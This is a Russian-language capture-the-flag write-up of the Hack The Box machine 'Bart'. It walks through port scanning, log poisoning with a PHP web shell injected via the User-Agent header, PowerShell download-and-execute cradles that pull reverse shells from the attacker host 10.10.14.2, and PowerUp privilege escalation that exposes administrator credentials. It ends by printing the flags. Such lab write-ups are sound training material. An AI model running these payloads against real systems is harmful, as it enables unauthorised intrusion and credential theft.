Обзор сервисов

Проведем сканирование портов машины 10.10.10.81 с помощью nmap:

$ nmap --privileged -sV -sC -sS -p- -oN nmap 10.10.10.81
PORT   STATE SERVICE VERSION
80/tcp open  http    Microsoft IIS httpd 10.0
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Did not follow redirect to http://forum.bart.htb/
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Сразу обнаружим хост forum.bart.htbbart.htb).

Пробежимся по папкам на сервере:

$ feroxbuster -u http://bart.htb/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt

http://bart.htb/forum
http://bart.htb/monitor

Обнаруживаем PHP Server Monitor версии 3.2.1.

Проверяем исходники форума и находим электронный адрес [email protected].

Пробуем подобрать логин и пароль для монитора и получаем harvery:potter.

Монитор

Обнаруживаем хост internal-01.bart.htb.

http://monitor.bart.htb/?&mod=server => http://internal-01.bart.htb/

Используем GET-запрос со своим шеллом:

GET /log/log.php HTTP/1.1
Host: internal-01.bart.htb
User-Agent: <?php echo system($_REQUEST['c']); ?>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=i18i4519b95cn04rjtmhs9928t
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

Получаем интерактивный шелл:

http://internal-01.bart.htb/log/log.php?filename=log.php&username=harvey&c=dir

Воспользуемся шеллом от nishang.

http://internal-01.bart.htb/log/log.php?filename=log.php&username=harvey&c=powershell%20IEX(New-Object%20Net.WebClient).downloadString(%27http://10.10.14.2/shell.ps1%27)

Повышение привилегий

Загрузим скрипт PowerUp.ps1 для нахождения путей повышения.

wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1

На удаленной машине скачаем и запустим скрипт, получим админские креды.

$ powershell wget <http://10.10.14.2/PowerUp.ps1> -OutFile PowerUp.ps1  
$ powershell -ExecutionPolicy bypass  
$ Import-Module .\PowerUp.ps1  
$ Invoke-AllChecks

DefaultUserName : Administrator  
DefaultPassword : 3130438f31186fbaf962f407711faddb

Воспользуемся скриптом для запуска второго шелла от админа:

$username = "BART\Administrator"  
$password = "3130438f31186fbaf962f407711faddb"  
$secstr = New-Object -TypeName System.Security.SecureString  
$password.ToCharArray() | ForEach-Object {$secstr.AppendChar($_)}  
$cred = new-object -typename System.Management.Automation.PSCredential -argumentlist $username, $secstr  
Invoke-Command -ScriptBlock { IEX(New-Object Net.WebClient).downloadString('http://10.10.14.2/shell2.ps1') } -Credential $cred -Computer localhost`

Флаги

PS C:\Users\h.potter> ipconfig
Windows IP Configuration
Ethernet adapter Ethernet0:
   Connection-specific DNS Suffix  . :
   IPv4 Address. . . . . . . . . . . : 10.10.10.81
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 10.10.10.2
PS C:\Users\h.potter> type user.txt
625b6c7aa299599acae0125d3af3830f
PS C:\Users\Administrator\Desktop> type root.txt
0074a38e6eac2d3785741713b3bfa2dc